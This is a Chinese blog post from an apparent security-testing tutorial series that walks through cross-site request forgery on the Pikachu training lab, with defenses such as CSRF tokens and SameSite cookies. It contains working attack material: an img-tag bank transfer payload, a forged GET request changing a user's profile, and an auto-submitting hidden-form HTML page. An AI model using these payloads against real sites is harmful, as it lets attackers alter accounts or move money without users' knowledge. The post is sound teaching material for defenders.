本篇博文是《从0到1学习安全测试》中靶场练习系列的第三篇博文,主要内容是了解跨站请求伪造攻击以及通过靶场进行实战练习加深印象,往期系列文章请访问博主的 安全测试 专栏;
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
跨站请求伪造攻击(CSRF,Cross-Site Request Forgery) 是一种网络攻击,攻击者利用已登录用户的身份,在不知情的情况下,通过伪造的请求来执行恶意操作。与跨站脚本攻击(XSS)不同,CSRF 攻击并不需要注入恶意代码,而是利用了用户的身份认证和信任来进行操作。
CSRF 攻击依赖于以下几个条件:
假设某银行网站通过以下 URL 进行转账操作:
http://bank.com/transfer?to=attacker_account&amount=1000
攻击者可以在他们的网页中嵌入一段代码,例如:
<img src="http://bank.com/transfer?to=attacker_account&amount=1000">
当用户访问恶意网站时,浏览器会自动向银行网站发送这个 GET 请求,如果用户仍然登录,银行会认为这是合法的请求,并完成转账。
为了防御 CSRF 攻击,可以采取以下策略:
Referer
或 Origin
,确保请求是从同一域名发起的,而不是从其他网站伪造的。SameSite
属性,标记它们只能在同一站点的请求中发送,防止跨站点请求自动携带认证凭据。CSRF 攻击通过利用用户身份和自动认证的机制,能够在用户不知情的情况下执行恶意操作。防御该攻击的核心在于确认请求的合法性,确保每次请求都附带唯一的 CSRF 令牌,并在敏感操作中增加额外的验证措施。
根据提示先登录一个账号看看情况:
登录 vince 的账号,发现可以修改一些个人信息,如下图所示:
我们将性别的 boy 修改成 girl 试试,捕获其数据包:
发现其修改参数是通过 GET params 进行,且并没有 CSRF TOKEN 来防范 CSRF 攻击,因此我们可以构造 Payload 来直接修改用户的个人信息:
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=sidiot%40pikachu.com&submit=submit HTTP/1.1
这样,我们只要将这个 Payload 伪装成链接,通过短信或者邮件的形式发送给 vince,并诱使 vince 进行点击,那么他的个人信息就会被修改,可能会造成一系列糟糕的影响。
攻击方式与 CSRF GET 相似,但是 POST 请求无法通过伪造 URL 进行攻击,不过我们可以通过构造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改
CSRF POST 攻击的原理与 CSRF GET 攻击类似,但由于 POST 请求通常不能通过直接伪造 URL 实现,因此攻击者需要采用其他手段。在 POST 请求中,攻击者无法像 GET 请求那样简单地在 URL 中附加参数发起请求,但依然可以通过构造一个恶意网页,将伪造的 POST 请求隐藏在网页的表单中,然后引诱用户进行交互来完成攻击。
具体的攻击过程如下:
hidden
类型(隐藏输入字段),使用户无法看到或修改表单内容。表单可以通过按钮引导用户提交,也可以通过 JavaScript 代码在网页加载时自动提交,从而无需用户主动点击按钮。根据上述攻击过程,我们可以构造一个恶意网页,代码如下所示:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF POST Form</title>
</head>
<body>
<h1>CSRF POST Attack Simulation</h1>
<form id="csrfForm" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy">
<input type="hidden" name="phonenum" value="10086">
<input type="hidden" name="add" value="sidiot's house">
<input type="hidden" name="email" value="sidiot@hacker.com">
<input type="hidden" name="submit" value="submit">
<input type="submit" value="Submit CSRF">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
用户访问网页前
用户访问网页时
用户访问网页后
场景与前面相同,主要区别在于添加了 TOKEN。
http://localhost/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&token=68167670fd339d0d33078255262&submit=submit
这也使得我们伪造的额请求无法生效,比如将 sex 修改为 boy,但并不会生效,因为 TOKEN 对不上。
这就是防范 CSRF 攻击常用的解决方案:在每次请求中添加一个随机生成的安全令牌 Token。这个 Token 是唯一的,每次请求时都会变化。在前端和后端进行数据交互时,后端会对该 Token 进行验证,以确保请求确实来自合法用户,而不是通过伪造手段生成。
具体的防护过程如下:
通过这种方式,服务器可以有效地防止伪造请求,因为攻击者即使能诱导用户点击链接或提交表单,也无法知道或生成有效的 Token。只有合法的用户和服务器之间的通信才能通过验证,从而大大降低了 CSRF 攻击的风险。
以上就是 跨站请求伪造攻击 CSRF 的所有内容了,希望本篇博文对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。